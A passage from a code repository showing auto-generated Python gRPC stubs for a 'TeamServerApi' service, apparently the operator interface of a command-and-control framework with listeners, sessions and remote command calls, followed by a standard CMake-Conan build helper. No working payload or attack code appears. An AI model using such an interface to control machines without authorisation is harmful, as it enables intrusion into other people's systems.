response_deserializer=TeamServerApi__pb2.CommandResponse.FromString, 52 | _registered_method=True) 53 | self.SendCmdToSession = channel.unary_unary( 54 | '/teamserverapi.TeamServerApi/SendCmdToSession', 55 | request_serializer=TeamServerApi__pb2.Command.SerializeToString, 56 | response_deserializer=TeamServerApi__pb2.Response.FromString, 57 | _registered_method=True) 58 | self.GetResponseFromSession = channel.unary_stream( 59 | '/teamserverapi.TeamServerApi/GetResponseFromSession', 60 | request_serializer=TeamServerApi__pb2.Session.SerializeToString, 61 | response_deserializer=TeamServerApi__pb2.CommandResponse.FromString, 62 | _registered_method=True) 63 | self.SendTermCmd = channel.unary_unary( 64 | '/teamserverapi.TeamServerApi/SendTermCmd', 65 | request_serializer=TeamServerApi__pb2.TermCommand.SerializeToString, 66 | response_deserializer=TeamServerApi__pb2.TermCommand.FromString, 67 | _registered_method=True) 68 | 69 | 70 | class TeamServerApiServicer(object): 71 | """Interface exported by the server. 72 | """ 73 | 74 | def Authenticate(self, request, context): 75 | """Missing associated documentation comment in .proto file.""" 76 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 77 | context.set_details('Method not implemented!') 78 | raise NotImplementedError('Method not implemented!') 79 | 80 | def GetListeners(self, request, context): 81 | """Missing associated documentation comment in .proto file.""" 82 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 83 | context.set_details('Method not implemented!') 84 | raise NotImplementedError('Method not implemented!') 85 | 86 | def AddListener(self, request, context): 87 | """Missing associated documentation comment in .proto file.""" 88 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 89 | context.set_details('Method not implemented!') 90 | raise NotImplementedError('Method not implemented!') 91 | 92 | def StopListener(self, request, context): 93 | """Missing associated documentation comment in .proto file.""" 94 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 95 | context.set_details('Method not implemented!') 96 | raise NotImplementedError('Method not implemented!') 97 | 98 | def GetSessions(self, request, context): 99 | """Missing associated documentation comment in .proto file.""" 100 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 101 | context.set_details('Method not implemented!') 102 | raise NotImplementedError('Method not implemented!') 103 | 104 | def StopSession(self, request, context): 105 | """Missing associated documentation comment in .proto file.""" 106 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 107 | context.set_details('Method not implemented!') 108 | raise NotImplementedError('Method not implemented!') 109 | 110 | def GetHelp(self, request, context): 111 | """Missing associated documentation comment in .proto file.""" 112 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 113 | context.set_details('Method not implemented!') 114 | raise NotImplementedError('Method not implemented!') 115 | 116 | def SendCmdToSession(self, request, context): 117 | """Missing associated documentation comment in .proto file.""" 118 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 119 | context.set_details('Method not implemented!') 120 | raise NotImplementedError('Method not implemented!') 121 | 122 | def GetResponseFromSession(self, request, context): 123 | """Missing associated documentation comment in .proto file.""" 124 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 125 | context.set_details('Method not implemented!') 126 | raise NotImplementedError('Method not implemented!') 127 | 128 | def SendTermCmd(self, request, context): 129 | """Missing associated documentation comment in .proto file.""" 130 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 131 | context.set_details('Method not implemented!') 132 | raise NotImplementedError('Method not implemented!') 133 | 134 | 135 | def add_TeamServerApiServicer_to_server(servicer, server): 136 | rpc_method_handlers = { 137 | 'Authenticate': grpc.unary_unary_rpc_method_handler( 138 | servicer.Authenticate, 139 | request_deserializer=TeamServerApi__pb2.AuthRequest.FromString, 140 | response_serializer=TeamServerApi__pb2.AuthResponse.SerializeToString, 141 | ), 142 | 'GetListeners': grpc.unary_stream_rpc_method_handler( 143 | servicer.GetListeners, 144 | request_deserializer=TeamServerApi__pb2.Empty.FromString, 145 | response_serializer=TeamServerApi__pb2.Listener.SerializeToString, 146 | ), 147 | 'AddListener': grpc.unary_unary_rpc_method_handler( 148 | servicer.AddListener, 149 | request_deserializer=TeamServerApi__pb2.Listener.FromString, 150 | response_serializer=TeamServerApi__pb2.Response.SerializeToString, 151 | ), 152 | 'StopListener': grpc.unary_unary_rpc_method_handler( 153 | servicer.StopListener, 154 | request_deserializer=TeamServerApi__pb2.Listener.FromString, 155 | response_serializer=TeamServerApi__pb2.Response.SerializeToString, 156 | ), 157 | 'GetSessions': grpc.unary_stream_rpc_method_handler( 158 | servicer.GetSessions, 159 | request_deserializer=TeamServerApi__pb2.Empty.FromString, 160 | response_serializer=TeamServerApi__pb2.Session.SerializeToString, 161 | ), 162 | 'StopSession': grpc.unary_unary_rpc_method_handler( 163 | servicer.StopSession, 164 | request_deserializer=TeamServerApi__pb2.Session.FromString, 165 | response_serializer=TeamServerApi__pb2.Response.SerializeToString, 166 | ), 167 | 'GetHelp': grpc.unary_unary_rpc_method_handler( 168 | servicer.GetHelp, 169 | request_deserializer=TeamServerApi__pb2.Command.FromString, 170 | response_serializer=TeamServerApi__pb2.CommandResponse.SerializeToString, 171 | ), 172 | 'SendCmdToSession': grpc.unary_unary_rpc_method_handler( 173 | servicer.SendCmdToSession, 174 | request_deserializer=TeamServerApi__pb2.Command.FromString, 175 | response_serializer=TeamServerApi__pb2.Response.SerializeToString, 176 | ), 177 | 'GetResponseFromSession': grpc.unary_stream_rpc_method_handler( 178 | servicer.GetResponseFromSession, 179 | request_deserializer=TeamServerApi__pb2.Session.FromString, 180 | response_serializer=TeamServerApi__pb2.CommandResponse.SerializeToString, 181 | ), 182 | 'SendTermCmd': grpc.unary_unary_rpc_method_handler( 183 | servicer.SendTermCmd, 184 | request_deserializer=TeamServerApi__pb2.TermCommand.FromString, 185 | response_serializer=TeamServerApi__pb2.TermCommand.SerializeToString, 186 | ), 187 | } 188 | generic_handler = grpc.method_handlers_generic_handler( 189 | 'teamserverapi.TeamServerApi', rpc_method_handlers) 190 | server.add_generic_rpc_handlers((generic_handler,)) 191 | server.add_registered_method_handlers('teamserverapi.TeamServerApi', rpc_method_handlers) 192 | 193 | 194 | # This class is part of an EXPERIMENTAL API. 195 | class TeamServerApi(object): 196 | """Interface exported by the server. 197 | """ 198 | 199 | @staticmethod 200 | def Authenticate(request, 201 | target, 202 | options=(), 203 | channel_credentials=None, 204 | call_credentials=None, 205 | insecure=False, 206 | compression=None, 207 | wait_for_ready=None, 208 | timeout=None, 209 | metadata=None): 210 | return grpc.experimental.unary_unary( 211 | request, 212 | target, 213 | '/teamserverapi.TeamServerApi/Authenticate', 214 | TeamServerApi__pb2.AuthRequest.SerializeToString, 215 | TeamServerApi__pb2.AuthResponse.FromString, 216 | options, 217 | channel_credentials, 218 | insecure, 219 | call_credentials, 220 | compression, 221 | wait_for_ready, 222 | timeout, 223 | metadata, 224 | _registered_method=True) 225 | 226 | @staticmethod 227 | def GetListeners(request, 228 | target, 229 | options=(), 230 | channel_credentials=None, 231 | call_credentials=None, 232 | insecure=False, 233 | compression=None, 234 | wait_for_ready=None, 235 | timeout=None, 236 | metadata=None): 237 | return grpc.experimental.unary_stream( 238 | request, 239 | target, 240 | '/teamserverapi.TeamServerApi/GetListeners', 241 | TeamServerApi__pb2.Empty.SerializeToString, 242 | TeamServerApi__pb2.Listener.FromString, 243 | options, 244 | channel_credentials, 245 | insecure, 246 | call_credentials, 247 | compression, 248 | wait_for_ready, 249 | timeout, 250 | metadata, 251 | _registered_method=True) 252 | 253 | @staticmethod 254 | def AddListener(request, 255 | target, 256 | options=(), 257 | channel_credentials=None, 258 | call_credentials=None, 259 | insecure=False, 260 | compression=None, 261 | wait_for_ready=None, 262 | timeout=None, 263 | metadata=None): 264 | return grpc.experimental.unary_unary( 265 | request, 266 | target, 267 | '/teamserverapi.TeamServerApi/AddListener', 268 | TeamServerApi__pb2.Listener.SerializeToString, 269 | TeamServerApi__pb2.Response.FromString, 270 | options, 271 | channel_credentials, 272 | insecure, 273 | call_credentials, 274 | compression, 275 | wait_for_ready, 276 | timeout, 277 | metadata, 278 | _registered_method=True) 279 | 280 | @staticmethod 281 | def StopListener(request, 282 | target, 283 | options=(), 284 | channel_credentials=None, 285 | call_credentials=None, 286 | insecure=False, 287 | compression=None, 288 | wait_for_ready=None, 289 | timeout=None, 290 | metadata=None): 291 | return grpc.experimental.unary_unary( 292 | request, 293 | target, 294 | '/teamserverapi.TeamServerApi/StopListener', 295 | TeamServerApi__pb2.Listener.SerializeToString, 296 | TeamServerApi__pb2.Response.FromString, 297 | options, 298 | channel_credentials, 299 | insecure, 300 | call_credentials, 301 | compression, 302 | wait_for_ready, 303 | timeout, 304 | metadata, 305 | _registered_method=True) 306 | 307 | @staticmethod 308 | def GetSessions(request, 309 | target, 310 | options=(), 311 | channel_credentials=None, 312 | call_credentials=None, 313 | insecure=False, 314 | compression=None, 315 | wait_for_ready=None, 316 | timeout=None, 317 | metadata=None): 318 | return grpc.experimental.unary_stream( 319 | request, 320 | target, 321 | '/teamserverapi.TeamServerApi/GetSessions', 322 | TeamServerApi__pb2.Empty.SerializeToString, 323 | TeamServerApi__pb2.Session.FromString, 324 | options, 325 | channel_credentials, 326 | insecure, 327 | call_credentials, 328 | compression, 329 | wait_for_ready, 330 | timeout, 331 | metadata, 332 | _registered_method=True) 333 | 334 | @staticmethod 335 | def StopSession(request, 336 | target, 337 | options=(), 338 | channel_credentials=None, 339 | call_credentials=None, 340 | insecure=False, 341 | compression=None, 342 | wait_for_ready=None, 343 | timeout=None, 344 | metadata=None): 345 | return grpc.experimental.unary_unary( 346 | request, 347 | target, 348 | '/teamserverapi.TeamServerApi/StopSession', 349 | TeamServerApi__pb2.Session.SerializeToString, 350 | TeamServerApi__pb2.Response.FromString, 351 | options, 352 | channel_credentials, 353 | insecure, 354 | call_credentials, 355 | compression, 356 | wait_for_ready, 357 | timeout, 358 | metadata, 359 | _registered_method=True) 360 | 361 | @staticmethod 362 | def GetHelp(request, 363 | target, 364 | options=(), 365 | channel_credentials=None, 366 | call_credentials=None, 367 | insecure=False, 368 | compression=None, 369 | wait_for_ready=None, 370 | timeout=None, 371 | metadata=None): 372 | return grpc.experimental.unary_unary( 373 | request, 374 | target, 375 | '/teamserverapi.TeamServerApi/GetHelp', 376 | TeamServerApi__pb2.Command.SerializeToString, 377 | TeamServerApi__pb2.CommandResponse.FromString, 378 | options, 379 | channel_credentials, 380 | insecure, 381 | call_credentials, 382 | compression, 383 | wait_for_ready, 384 | timeout, 385 | metadata, 386 | _registered_method=True) 387 | 388 | @staticmethod 389 | def SendCmdToSession(request, 390 | target, 391 | options=(), 392 | channel_credentials=None, 393 | call_credentials=None, 394 | insecure=False, 395 | compression=None, 396 | wait_for_ready=None, 397 | timeout=None, 398 | metadata=None): 399 | return grpc.experimental.unary_unary( 400 | request, 401 | target, 402 | '/teamserverapi.TeamServerApi/SendCmdToSession', 403 | TeamServerApi__pb2.Command.SerializeToString, 404 | TeamServerApi__pb2.Response.FromString, 405 | options, 406 | channel_credentials, 407 | insecure, 408 | call_credentials, 409 | compression, 410 | wait_for_ready, 411 | timeout, 412 | metadata, 413 | _registered_method=True) 414 | 415 | @staticmethod 416 | def GetResponseFromSession(request, 417 | target, 418 | options=(), 419 | channel_credentials=None, 420 | call_credentials=None, 421 | insecure=False, 422 | compression=None, 423 | wait_for_ready=None, 424 | timeout=None, 425 | metadata=None): 426 | return grpc.experimental.unary_stream( 427 | request, 428 | target, 429 | '/teamserverapi.TeamServerApi/GetResponseFromSession', 430 | TeamServerApi__pb2.Session.SerializeToString, 431 | TeamServerApi__pb2.CommandResponse.FromString, 432 | options, 433 | channel_credentials, 434 | insecure, 435 | call_credentials, 436 | compression, 437 | wait_for_ready, 438 | timeout, 439 | metadata, 440 | _registered_method=True) 441 | 442 | @staticmethod 443 | def SendTermCmd(request, 444 | target, 445 | options=(), 446 | channel_credentials=None, 447 | call_credentials=None, 448 | insecure=False, 449 | compression=None, 450 | wait_for_ready=None, 451 | timeout=None, 452 | metadata=None): 453 | return grpc.experimental.unary_unary( 454 | request, 455 | target, 456 | '/teamserverapi.TeamServerApi/SendTermCmd', 457 | TeamServerApi__pb2.TermCommand.SerializeToString, 458 | TeamServerApi__pb2.TermCommand.FromString, 459 | options, 460 | channel_credentials, 461 | insecure, 462 | call_credentials, 463 | compression, 464 | wait_for_ready, 465 | timeout, 466 | metadata, 467 | _registered_method=True) 468 | -------------------------------------------------------------------------------- /conan_provider.cmake: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2024 JFrog 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | 23 | set(CONAN_MINIMUM_VERSION 2.0.5) 24 | 25 | 26 | function(detect_os OS OS_API_LEVEL OS_SDK OS_SUBSYSTEM OS_VERSION) 27 | # it could be cross compilation 28 | message(STATUS "CMake-Conan: cmake_system_name=${CMAKE_SYSTEM_NAME}") 29 | if(CMAKE_SYSTEM_NAME AND NOT CMAKE_SYSTEM_NAME STREQUAL "Generic") 30 | if(CMAKE_SYSTEM_NAME STREQUAL "Darwin") 31 | set(${OS} Macos PARENT_SCOPE) 32 | elseif(CMAKE_SYSTEM_NAME STREQUAL "QNX") 33 | set(${OS} Neutrino PARENT_SCOPE) 34 | elseif(CMAKE_SYSTEM_NAME STREQUAL "CYGWIN") 35 | set(${OS} Windows PARENT_SCOPE) 36 | set(${OS_SUBSYSTEM} cygwin PARENT_SCOPE) 37 | elseif(CMAKE_SYSTEM_NAME MATCHES "^MSYS") 38 | set(${OS} Windows PARENT_SCOPE) 39 | set(${OS_SUBSYSTEM} msys2 PARENT_SCOPE) 40 | else() 41 | set(${OS} ${CMAKE_SYSTEM_NAME} PARENT_SCOPE) 42 | endif() 43 | if(CMAKE_SYSTEM_NAME STREQUAL "Android") 44 | if(DEFINED ANDROID_PLATFORM) 45 | string(REGEX MATCH "[0-9]+" _OS_API_LEVEL ${ANDROID_PLATFORM}) 46 | elseif(DEFINED CMAKE_SYSTEM_VERSION) 47 | set(_OS_API_LEVEL ${CMAKE_SYSTEM_VERSION}) 48 | endif() 49 | message(STATUS "CMake-Conan: android api level=${_OS_API_LEVEL}") 50 | set(${OS_API_LEVEL} ${_OS_API_LEVEL} PARENT_SCOPE) 51 | endif() 52 | if(CMAKE_SYSTEM_NAME MATCHES "Darwin|iOS|tvOS|watchOS") 53 | # CMAKE_OSX_SYSROOT contains the full path to the SDK for MakeFile/Ninja 54 | # generators, but just has the original input string for Xcode. 55 | if(NOT IS_DIRECTORY ${CMAKE_OSX_SYSROOT}) 56 | set(_OS_SDK ${CMAKE_OSX_SYSROOT}) 57 | else() 58 | if(CMAKE_OSX_SYSROOT MATCHES Simulator) 59 | set(apple_platform_suffix simulator) 60 | else() 61 | set(apple_platform_suffix os) 62 | endif() 63 | if(CMAKE_OSX_SYSROOT MATCHES AppleTV) 64 | set(_OS_SDK "appletv${apple_platform_suffix}") 65 | elseif(CMAKE_OSX_SYSROOT MATCHES iPhone) 66 | set(_OS_SDK "iphone${apple_platform_suffix}") 67 | elseif(CMAKE_OSX_SYSROOT MATCHES Watch) 68 | set(_OS_SDK "watch${apple_platform_suffix}") 69 | endif() 70 | endif() 71 | if(DEFINED _OS_SDK) 72 | message(STATUS "CMake-Conan: cmake_osx_sysroot=${CMAKE_OSX_SYSROOT}") 73 | set(${OS_SDK} ${_OS_SDK} PARENT_SCOPE) 74 | endif() 75 | if(DEFINED CMAKE_OSX_DEPLOYMENT_TARGET) 76 | message(STATUS "CMake-Conan: cmake_osx_deployment_target=${CMAKE_OSX_DEPLOYMENT_TARGET}") 77 | set(${OS_VERSION} ${CMAKE_OSX_DEPLOYMENT_TARGET} PARENT_SCOPE) 78 | endif() 79 | endif() 80 | endif() 81 | endfunction() 82 | 83 | 84 | function(detect_arch ARCH) 85 | # CMAKE_OSX_ARCHITECTURES can contain multiple architectures, but Conan only supports one. 86 | # Therefore this code only finds one. If the recipes support multiple architectures, the 87 | # build will work. Otherwise, there will be a linker error for the missing architecture(s). 88 | if(DEFINED CMAKE_OSX_ARCHITECTURES) 89 | string(REPLACE " " ";" apple_arch_list "${CMAKE_OSX_ARCHITECTURES}") 90 | list(LENGTH apple_arch_list apple_arch_count) 91 | if(apple_arch_count GREATER 1) 92 | message(WARNING "CMake-Conan: Multiple architectures detected, this will only work if Conan recipe(s) produce fat binaries.") 93 | endif() 94 | endif() 95 | if(CMAKE_SYSTEM_NAME MATCHES "Darwin|iOS|tvOS|watchOS" AND NOT CMAKE_OSX_ARCHITECTURES STREQUAL "") 96 | set(host_arch ${CMAKE_OSX_ARCHITECTURES}) 97 | elseif(MSVC) 98 | set(host_arch ${CMAKE_CXX_COMPILER_ARCHITECTURE_ID}) 99 | else() 100 | set(host_arch ${CMAKE_SYSTEM_PROCESSOR}) 101 | endif() 102 | if(host_arch MATCHES "aarch64|arm64|ARM64") 103 | set(_ARCH armv8) 104 | elseif(host_arch MATCHES "armv7|armv7-a|armv7l|ARMV7") 105 | set(_ARCH armv7) 106 | elseif(host_arch MATCHES armv7s) 107 | set(_ARCH armv7s) 108 | elseif(host_arch MATCHES "i686|i386|X86") 109 | set(_ARCH x86) 110 | elseif(host_arch MATCHES "AMD64|amd64|x86_64|x64") 111 | set(_ARCH x86_64) 112 | endif() 113 | message(STATUS "CMake-Conan: cmake_system_processor=${_ARCH}") 114 | set(${ARCH} ${_ARCH} PARENT_SCOPE) 115 | endfunction() 116 | 117 | 118 | function(detect_cxx_standard CXX_STANDARD) 119 | set(${CXX_STANDARD} ${CMAKE_CXX_STANDARD} PARENT_SCOPE) 120 | if(CMAKE_CXX_EXTENSIONS) 121 | set(${CXX_STANDARD} "gnu${CMAKE_CXX_STANDARD}" PARENT_SCOPE) 122 | endif() 123 | endfunction() 124 | 125 | 126 | macro(detect_gnu_libstdcxx) 127 | # _CONAN_IS_GNU_LIBSTDCXX true if GNU libstdc++ 128 | check_cxx_source_compiles(" 129 | #include 130 | #if !defined(__GLIBCXX__) && !defined(__GLIBCPP__) 131 | static_assert(false); 132 | #endif 133 | int main(){}" _CONAN_IS_GNU_LIBSTDCXX) 134 | 135 | # _CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI true if C++11 ABI 136 | check_cxx_source_compiles(" 137 | #include 138 | static_assert(sizeof(std::string) != sizeof(void*), \"using libstdc++\"); 139 | int main () {}" _CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI) 140 | 141 | set(_CONAN_GNU_LIBSTDCXX_SUFFIX "") 142 | if(_CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI) 143 | set(_CONAN_GNU_LIBSTDCXX_SUFFIX "11") 144 | endif() 145 | unset (_CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI) 146 | endmacro() 147 | 148 | 149 | macro(detect_libcxx) 150 | # _CONAN_IS_LIBCXX true if LLVM libc++ 151 | check_cxx_source_compiles(" 152 | #include 153 | #if !defined(_LIBCPP_VERSION) 154 | static_assert(false); 155 | #endif 156 | int main(){}" _CONAN_IS_LIBCXX) 157 | endmacro() 158 | 159 | 160 | function(detect_lib_cxx LIB_CXX) 161 | if(CMAKE_SYSTEM_NAME STREQUAL "Android") 162 | message(STATUS "CMake-Conan: android_stl=${CMAKE_ANDROID_STL_TYPE}") 163 | set(${LIB_CXX} ${CMAKE_ANDROID_STL_TYPE} PARENT_SCOPE) 164 | return() 165 | endif() 166 | 167 | include(CheckCXXSourceCompiles) 168 | 169 | if(CMAKE_CXX_COMPILER_ID MATCHES "GNU") 170 | detect_gnu_libstdcxx() 171 | set(${LIB_CXX} "libstdc++${_CONAN_GNU_LIBSTDCXX_SUFFIX}" PARENT_SCOPE) 172 | elseif(CMAKE_CXX_COMPILER_ID MATCHES "AppleClang") 173 | set(${LIB_CXX} "libc++" PARENT_SCOPE) 174 | elseif(CMAKE_CXX_COMPILER_ID MATCHES "Clang" AND NOT CMAKE_SYSTEM_NAME MATCHES "Windows") 175 | # Check for libc++ 176 | detect_libcxx() 177 | if(_CONAN_IS_LIBCXX) 178 | set(${LIB_CXX} "libc++" PARENT_SCOPE) 179 | return() 180 | endif() 181 | 182 | # Check for libstdc++ 183 | detect_gnu_libstdcxx() 184 | if(_CONAN_IS_GNU_LIBSTDCXX) 185 | set(${LIB_CXX} "libstdc++${_CONAN_GNU_LIBSTDCXX_SUFFIX}" PARENT_SCOPE) 186 | return() 187 | endif() 188 | 189 | # TODO: it would be an error if we reach this point 190 | elseif(CMAKE_CXX_COMPILER_ID MATCHES "MSVC") 191 | # Do nothing - compiler.runtime and compiler.runtime_type 192 | # should be handled separately: https://github.com/conan-io/cmake-conan/pull/516 193 | return() 194 | else() 195 | # TODO: unable to determine, ask user to provide a full profile file instead 196 | endif() 197 | endfunction() 198 | 199 | 200 | function(detect_compiler COMPILER COMPILER_VERSION COMPILER_RUNTIME COMPILER_RUNTIME_TYPE) 201 | if(DEFINED CMAKE_CXX_COMPILER_ID) 202 | set(_COMPILER ${CMAKE_CXX_COMPILER_ID}) 203 | set(_COMPILER_VERSION ${CMAKE_CXX_COMPILER_VERSION}) 204 | else() 205 | if(NOT DEFINED CMAKE_C_COMPILER_ID) 206 | message(FATAL_ERROR "C or C++ compiler not defined") 207 | endif() 208 | set(_COMPILER ${CMAKE_C_COMPILER_ID}) 209 | set(_COMPILER_VERSION ${CMAKE_C_COMPILER_VERSION}) 210 | endif() 211 | 212 | message(STATUS "CMake-Conan: CMake compiler=${_COMPILER}") 213 | message(STATUS "CMake-Conan: CMake compiler version=${_COMPILER_VERSION}") 214 | 215 | if(_COMPILER MATCHES MSVC) 216 | set(_COMPILER "msvc") 217 | string(SUBSTRING ${MSVC_VERSION} 0 3 _COMPILER_VERSION) 218 | # Configure compiler.runtime and compiler.runtime_type settings for MSVC 219 | if(CMAKE_MSVC_RUNTIME_LIBRARY) 220 | set(_msvc_runtime_library ${CMAKE_MSVC_RUNTIME_LIBRARY}) 221 | else() 222 | set(_msvc_runtime_library MultiThreaded$<$:Debug>DLL) # default value documented by CMake 223 | endif() 224 | 225 | set(_KNOWN_MSVC_RUNTIME_VALUES "") 226 | list(APPEND _KNOWN_MSVC_RUNTIME_VALUES MultiThreaded MultiThreadedDLL) 227 | list(APPEND _KNOWN_MSVC_RUNTIME_VALUES MultiThreadedDebug MultiThreadedDebugDLL) 228 | list(APPEND _KNOWN_MSVC_RUNTIME_VALUES MultiThreaded$<$:Debug> MultiThreaded$<$:Debug>DLL) 229 | 230 | # only accept the 6 possible values, otherwise we don't don't know to map this 231 | if(NOT _msvc_runtime_library IN_LIST _KNOWN_MSVC_RUNTIME_VALUES) 232 | message(FATAL_ERROR "CMake-Conan: unable to map MSVC runtime: ${_msvc_runtime_library} to Conan settings") 233 | endif() 234 | 235 | # Runtime is "dynamic" in all cases if it ends in DLL 236 | if(_msvc_runtime_library MATCHES ".*DLL$") 237 | set(_COMPILER_RUNTIME "dynamic") 238 | else() 239 | set(_COMPILER_RUNTIME "static") 240 | endif() 241 | message(STATUS "CMake-Conan: CMake compiler.runtime=${_COMPILER_RUNTIME}") 242 | 243 | # Only define compiler.runtime_type when explicitly requested 244 | # If a generator expression is used, let Conan handle it conditional on build_type 245 | if(NOT _msvc_runtime_library MATCHES ":Debug>") 246 | if(_msvc_runtime_library MATCHES "Debug") 247 | set(_COMPILER_RUNTIME_TYPE "Debug") 248 | else() 249 | set(_COMPILER_RUNTIME_TYPE "Release") 250 | endif() 251 | message(STATUS "CMake-Conan: CMake compiler.runtime_type=${_COMPILER_RUNTIME_TYPE}") 252 | endif() 253 | 254 | unset(_KNOWN_MSVC_RUNTIME_VALUES) 255 | 256 | elseif(_COMPILER MATCHES AppleClang) 257 | set(_COMPILER "apple-clang") 258 | string(REPLACE "." ";" VERSION_LIST ${CMAKE_CXX_COMPILER_VERSION}) 259 | list(GET VERSION_LIST 0 _COMPILER_VERSION) 260 | elseif(_COMPILER MATCHES Clang) 261 | set(_COMPILER "clang") 262 | string(REPLACE "." ";" VERSION_LIST ${CMAKE_CXX_COMPILER_VERSION}) 263 | list(GET VERSION_LIST 0 _COMPILER_VERSION) 264 | elseif(_COMPILER MATCHES GNU) 265 | set(_COMPILER "gcc") 266 | string(REPLACE "." ";" VERSION_LIST ${CMAKE_CXX_COMPILER_VERSION}) 267 | list(GET VERSION_LIST 0 _COMPILER_VERSION) 268 | endif() 269 | 270 | message(STATUS "CMake-Conan: [settings] compiler=${_COMPILER}") 271 | message(STATUS "CMake-Conan: [settings] compiler.version=${_COMPILER_VERSION}") 272 | if (_COMPILER_RUNTIME) 273 | message(STATUS "CMake-Conan: [settings] compiler.runtime=${_COMPILER_RUNTIME}") 274 | endif() 275 | if (_COMPILER_RUNTIME_TYPE) 276 | message(STATUS "CMake-Conan: [settings] compiler.runtime_type=${_COMPILER_RUNTIME_TYPE}") 277 | endif() 278 | 279 | set(${COMPILER} ${_COMPILER} PARENT_SCOPE) 280 | set(${COMPILER_VERSION} ${_COMPILER_VERSION} PARENT_SCOPE) 281 | set(${COMPILER_RUNTIME} ${_COMPILER_RUNTIME} PARENT_SCOPE) 282 | set(${COMPILER_RUNTIME_TYPE} ${_COMPILER_RUNTIME_TYPE} PARENT_SCOPE) 283 | endfunction() 284 | 285 | 286 | function(detect_build_type BUILD_TYPE) 287 | get_property(_MULTICONFIG_GENERATOR GLOBAL PROPERTY GENERATOR_IS_MULTI_CONFIG) 288 | if(NOT _MULTICONFIG_GENERATOR) 289 | # Only set when we know we are in a single-configuration generator 290 | # Note: we may want to fail early if `CMAKE_BUILD_TYPE` is not defined 291 | set(${BUILD_TYPE} ${CMAKE_BUILD_TYPE} PARENT_SCOPE) 292 | endif() 293 | endfunction() 294 | 295 | macro(set_conan_compiler_if_appleclang lang command output_variable) 296 | if(CMAKE_${lang}_COMPILER_ID STREQUAL "AppleClang") 297 | execute_process(COMMAND xcrun --find ${command} 298 | OUTPUT_VARIABLE _xcrun_out OUTPUT_STRIP_TRAILING_WHITESPACE) 299 | cmake_path(GET _xcrun_out PARENT_PATH _xcrun_toolchain_path) 300 | cmake_path(GET CMAKE_${lang}_COMPILER PARENT_PATH _compiler_parent_path) 301 | if ("${_xcrun_toolchain_path}" STREQUAL "${_compiler_parent_path}") 302 | set(${output_variable} "") 303 | endif() 304 | unset(_xcrun_out) 305 | unset(_xcrun_toolchain_path) 306 | unset(_compiler_parent_path) 307 | endif() 308 | endmacro() 309 | 310 | 311 | macro(append_compiler_executables_configuration) 312 | set(_conan_c_compiler "") 313 | set(_conan_cpp_compiler "") 314 | if(CMAKE_C_COMPILER) 315 | set(_conan_c_compiler "\"c\":\"${CMAKE_C_COMPILER}\",") 316 | set_conan_compiler_if_appleclang(C cc _conan_c_compiler) 317 | else() 318 | message(WARNING "CMake-Conan: The C compiler is not defined. " 319 | "Please define CMAKE_C_COMPILER or enable the C language.") 320 | endif() 321 | if(CMAKE_CXX_COMPILER) 322 | set(_conan_cpp_compiler "\"cpp\":\"${CMAKE_CXX_COMPILER}\"") 323 | set_conan_compiler_if_appleclang(CXX c++ _conan_cpp_compiler) 324 | else() 325 | message(WARNING "CMake-Conan: The C++ compiler is not defined. " 326 | "Please define CMAKE_CXX_COMPILER or enable the C++ language.") 327 | endif() 328 | 329 | if(NOT "x${_conan_c_compiler}${_conan_cpp_compiler}" STREQUAL "x") 330 | string(APPEND PROFILE "tools.build:compiler_executables={${_conan_c_compiler}${_conan_cpp_compiler}}\n") 331 | endif() 332 | unset(_conan_c_compiler) 333 | unset(_conan_cpp_compiler) 334 | endmacro() 335 | 336 | 337 | function(detect_host_profile output_file) 338 | detect_os(MYOS MYOS_API_LEVEL MYOS_SDK MYOS_SUBSYSTEM MYOS_VERSION) 339 | detect_arch(MYARCH) 340 | detect_compiler(MYCOMPILER MYCOMPILER_VERSION MYCOMPILER_RUNTIME MYCOMPILER_RUNTIME_TYPE) 341 | detect_cxx_standard(MYCXX_STANDARD) 342 | detect_lib_cxx(MYLIB_CXX) 343 | detect_build_type(MYBUILD_TYPE) 344 | 345 | set(PROFILE "") 346 | string(APPEND PROFILE "[settings]\n") 347 | if(MYARCH) 348 | string(APPEND PROFILE arch=${MYARCH} "\n") 349 | endif() 350 | if(MYOS) 351 | string(APPEND PROFILE os=${MYOS} "\n") 352 | endif() 353 | if(MYOS_API_LEVEL) 354 | string(APPEND PROFILE os.api_level=${MYOS_API_LEVEL} "\n") 355 | endif() 356 | if(MYOS_VERSION) 357 | string(APPEND PROFILE os.version=${MYOS_VERSION} "\n") 358 | endif() 359 | if(MYOS_SDK) 360 | string(APPEND PROFILE os.sdk=${MYOS_SDK} "\n") 361 | endif() 362 | if(MYOS_SUBSYSTEM) 363 | string(APPEND PROFILE os.subsystem=${MYOS_SUBSYSTEM} "\n") 364 | endif() 365 | if(MYCOMPILER) 366 | 